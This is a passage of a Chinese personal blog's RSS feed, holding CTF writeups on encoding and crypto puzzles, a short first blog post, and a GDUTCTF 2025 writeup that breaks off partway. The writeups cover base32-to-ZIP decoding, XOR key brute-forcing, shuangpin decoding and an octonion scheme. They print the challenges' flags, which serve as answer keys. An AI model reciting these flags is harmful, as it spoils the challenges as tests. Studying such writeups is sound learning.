“qaaiagyaaaac6aaaaaaaa”&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;按照顺序拼接起来，可以得到一条很长的字符串：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamzwgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wdklrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxakacqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaaaaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaaqaaiagyaaaac6aaaaaaaa&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;全部由小写字母和数字组成，先考虑base编码。&lt;/p&gt;&lt;p&gt;base64的字符集包含大小写字母和数字0~9以及’+‘和’/’&lt;/p&gt;&lt;p&gt;base32的字符集包含字母（通常是大写字母）和数字2~7&lt;/p&gt;&lt;p&gt;尝试了base64解码，得到的结果非常奇怪。&lt;/p&gt;&lt;p&gt;字符串只出现了小写字母，数字2~7，也许是base32编码，尝试base32解码试试：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;PKHe%\�286flag.txt��tq�v1�+�)2).�w��,5.2L-�7�0���5L�(��0L1�6N.2.)�PKHe%\�286�flag.txtPK  ��&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;得到结果也很奇怪，但出现了一部分可疑的可打印字符：&lt;strong&gt;flag.txt&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;看看十六进制形式：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;504B03041400000008004865255CB6033211380000003600000008000000666C61672E7478740BCDCB740E71AB7631C82B890F2932292E8977F10B8E0F2C352E324C2D8E37CF30AE8CF7354CCF2889F7304C318E0F364E2E322E29AE0500504B010214031400000008004865255CB60332113800000036000000080000000000000000000000800100000000666C61672E747874504B05060000000020002006C000000BC000000000&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;504B0304，是ZIP的文件头&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;用十六进制编辑器保存这段数据：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;896&quot; src=&quot;/_astro/%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E7%BC%96%E8%BE%91%E5%99%A8.v8TXhgx8_1vCajj.webp&quot; /&gt;&lt;figcaption&gt;十六进制编辑器&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;然后再解压，得到flag.txt，flag就在其中：&lt;strong&gt;UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>我的第一篇文章</title><link>https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/firstblog/</link><guid isPermaLink="true">https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/firstblog/</guid><description>我的第一篇文章</description><pubDate>Fri, 02 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;封面图片：《&lt;a href=&quot;https://static.wixstatic.com/media/7ac599_6ebb3c248d0b4e0182d2150dab682bfd~mv2.gif&quot; target=&quot;_blank&quot;&gt;kawaii on off&lt;/a&gt;》 | 作者：アボガド6 (Avogado6)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;有点不知道写些什么好。&lt;/p&gt;
&lt;p&gt;身边有许多朋友都有自己的个人网站，在浏览了他们的网站之后，我对于“搭建个人网站”这件事情有了极大的兴趣&lt;/p&gt;
&lt;p&gt;这是我第一次搭建网站和和写博客，在此之前我对这些东西一无所知，可以说是从零开始。不过现在的AI确实是很好的用的工具，在AI的帮助下很快的就让这篇文章可以出现在网络上了。同时，也有很多人给予了我一些帮助。所以整个过程并没有想象的那么困难。&lt;/p&gt;
&lt;p&gt;这是一次充满新奇的尝试。在整个过程中我接触到了很多此前从未了解的事物，比如关于域名，关于框架，关于部署……等等。我对这些事物也相当有兴趣。以后有时间的话，应该会更加深入的去了解。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;另外，封面图和文章其实没什么关系……只是我个人非常喜欢a6老师的作品，所以就拿来做封面图了。事实上网站的壁纸以及个人头像也都是a6老师的作品。&lt;/p&gt;</content:encoded></item><item><title>GDUTCTF 2025——Writeup</title><link>https://kesazake.top/posts/ctf/wp/gdutctf-2025writeup/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/wp/gdutctf-2025writeup/</guid><description>2025年GDUTCTF的赛后整理。</description><pubDate>Tue, 25 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;封面图片：《&lt;a href=&quot;https://static.wixstatic.com/media/7ac599_18f833b16c5c4115a3acb3abe970c134~mv2.gif&quot; target=&quot;_blank&quot;&gt;kawaii 8bit&lt;/a&gt;》 | 作者：アボガド6 (Avogado6)&lt;/p&gt;
&lt;hr /&gt;
&lt;section&gt;&lt;h1&gt;GDUTCTF 2025——Writeup&lt;a href=&quot;#gdutctf-2025writeup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1852&quot; height=&quot;925&quot; src=&quot;/_astro/image-20251123222949357.BowL7sku_1gvvC3.webp&quot; /&gt;&lt;figcaption&gt;战队管理页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;希望下一次可以取得更好的成绩。&lt;/p&gt;&lt;hr /&gt;&lt;section&gt;&lt;h2&gt;Crypto&lt;a href=&quot;#crypto&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] easy_encode1&lt;/strong&gt;&lt;a href=&quot;#easy-easy_encode1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/xpno1bwtepthi2anwb&quot; target=&quot;_blank&quot;&gt;与ds的对话记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;下载题目信息和加密文件，可以看到是XOR加密，密文是十六进制字符串。&lt;/p&gt;&lt;blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i, char &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enumerate&lt;/span&gt;&lt;span&gt;&lt;span&gt;(plaintext.&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;()):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;encrypted.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(char &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; key[i &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; key_length])&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;XOR加密的原理是明文和密钥的循环异或&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;已知： 若 encrypted = plaintext ^ key， 则 key = encrypted  ^ plaintext ， plaintext  = encrypted  ^ key。&lt;/p&gt;&lt;p&gt;因此只要找到加密密钥key，就可以从密文反推回明文。&lt;/p&gt;&lt;p&gt;题目给出了flag的格式：flag{…}，那么明文必定是”flag{“开头，”}“结尾。由此可以推导key的前五个字节：cc 53 19 b8 01&lt;/p&gt;&lt;p&gt;假设len(key)=5，解密发现结尾不是”}”。&lt;/p&gt;&lt;p&gt;从5开始增加长度，尝试所有可能的key，并且输出解密后符合flag格式的明文：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251124170806234.B3ZZM1dk_1YR6fA.webp&quot; /&gt;&lt;figcaption&gt;XOR爆破代码运行结果&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{ZIzBw3QjdLty60CYCt}&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;我已经理解了这个题目的加密解密方式，可以独立实现异或加密的爆破解密（虽然代码的运行效率可能很低吧，不过至少结果是对的）&lt;/p&gt;&lt;blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;cipher&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tage&lt;/span&gt;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;plain &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;&lt;span&gt;(cipher[i] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; key[i&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(key)] &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(cipher)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;       &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; plain[:&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;flag{&apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt;&lt;span&gt; plain[&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ord&lt;/span&gt;&lt;span&gt;(tage)  &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;all&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;127&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; plain):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;发现可能的目标： 密钥：&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&lt;span&gt;key.&lt;/span&gt;&lt;span&gt;hex&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; 明文：&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;plain&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try_all&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;cipher&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key_portion&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;common_key&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;max_len&lt;/span&gt;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;       &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; length &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(key_portion)&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;, max_len&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;尝试len(key)=&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;length&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;的可能：&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;           &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; last &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;&lt;span&gt; itertools.&lt;/span&gt;&lt;span&gt;product&lt;/span&gt;&lt;span&gt;(common_key, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;repeat&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; length&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(key_portion)):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span&gt;key_all &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; key_portion &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;(last)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;(cipher, key_all, &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;}&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251124171250907.Dp18cFq0_rkL1O.webp&quot; /&gt;&lt;figcaption&gt;自己写的XOR爆破代码&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] mimaxt&lt;/strong&gt;&lt;a href=&quot;#easy-mimaxt&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;题目信息：&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;RKK 为了报复時雨てる把 ta 做成 AI 还做进题目里，作为超级黑客的 RKK，ta hack 了時雨てる 的输入法，并获得了一些文本。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;下载两个附件&lt;/p&gt;&lt;p&gt;&lt;strong&gt;232518_rk_svpm.txt&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;‘\xfc\xdf\x0c\x8c%\xc47\xa8\xf2\xe3r1\xf6LDX/\xa48\xfb\xb9\x10Dy\xd8\xd1\xa9\xcf\x80\x99\xc3\x0f\xe4\x0e\xa7Eo\xf0\x1d\x95\xfe}’&lt;/p&gt;&lt;p&gt;看起来像是加密后的flag。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;232507_rkk_td_hk_le.txt&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;oo wode tm na, ve dz bw ni pojp le. mwco, wo ys de ui xnheulpb. xmzd wo yc gcsu ni flag de gzzc le(bu bcko hxkohc). nwrs kdtz ui “xnheulpb lkyu dauf” de qrpb (bclq ksge, mkci uzzimu daxp). rjhz vvjxyige ffhc he yige ksge. rjhz vvjx vejigezi de xnheulpb bnui, xnxp bkqp mwyz ksge. wjdekdxb!&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;这个文本看起来也很奇怪，并且相当的长。部分内容像是拼音？&lt;/p&gt;&lt;p&gt;这时候注意到题目的信息：&lt;strong&gt;作为超级黑客的 RKK，ta hack 了時雨てる 的输入法&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;是某种输入法？但是看起来不像是我常用的全拼。打开输入法查看其他的键盘：&lt;/p&gt;&lt;img src=&quot;./writeup-assets/image-20251123233056530.png&quot; alt=&quot;我的手机输入法&quot; /&gt;&lt;p&gt;发现一个我从来没用过的键盘，对着文本一个一个输入，得到这样一段信息：&lt;/p&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;哦我的天呐，这都被你破解了。没错，我用的是小鹤双拼。现在我要告诉你flag的构造了（不包括花括号）。内容开头是“小鹤双拼领域大神”的全拼（保留空格，名词首字母大写）。然后追加一个分号和一个空格。然后追加这几个字的小何双拼表示，小写并且没有空格。玩得开心！&lt;/p&gt;&lt;p&gt;意外之喜！根据文本构造：flag{Xiao He Shuang Pin Ling Yu Da Shen; xnheulpblkyudauf}&lt;/p&gt;&lt;p&gt;然而提交却没有通过。再次阅读文本信息，注意到：&lt;strong&gt;名词首字母大写&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;构造新的flag：&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{Xiaoheshuangpin Lingyu Dashen; xnheulpblkyudauf}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] rickypto&lt;/strong&gt;&lt;a href=&quot;#easy-rickypto&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/92619mz1y9c0v8x4u7&quot; target=&quot;_blank&quot;&gt;与ds的对话记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/kfi2cmlqbgaitqyxoa&quot; target=&quot;_blank&quot;&gt;赛后整理&lt;/a&gt;&lt;/p&gt;&lt;p&gt;附件是加密文件和加密参数，是我没有接触过的加密方式。只能借助ds的力量了。&lt;/p&gt;&lt;p&gt;一个八元数幂运算加密系统：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;加密过程&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;生成一个非常大的质数m（64位）&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;getPrime&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;64&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将明文（flag和rk碎片）以4字节为单位分割，不足的补0&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;chunk_size &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;flag_chunks &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [flag[i:i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;chunk_size] &lt;/span&gt;&lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(flag), chunk_size)]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(flag_chunks)):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(flag_chunks[i]) &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; chunk_size:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag_chunks[i] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; flag_chunks[i] &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;\x00&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; (chunk_size &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(flag_chunks[i]))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于每个4字节块，转换为一个大整数n&lt;sup&gt;&lt;a href=&quot;#user-content-fn-%E5%A4%A7%E7%AB%AF%E5%BA%8F&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，放进n_values&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;n_values &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;bytes_to_long&lt;/span&gt;&lt;span&gt;(chunk) &lt;/span&gt;&lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; chunk &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; flag_chunks]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于n_values的每一个n，随机生成一个八元数p，它的每个分量都是在[1, m-1]的随机整数。放进p_values&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于每一组（n，p），计算q = p&lt;sup&gt;n&lt;/sup&gt;，乘法是八元数乘法（mod m）。放进q_values&lt;/p&gt;
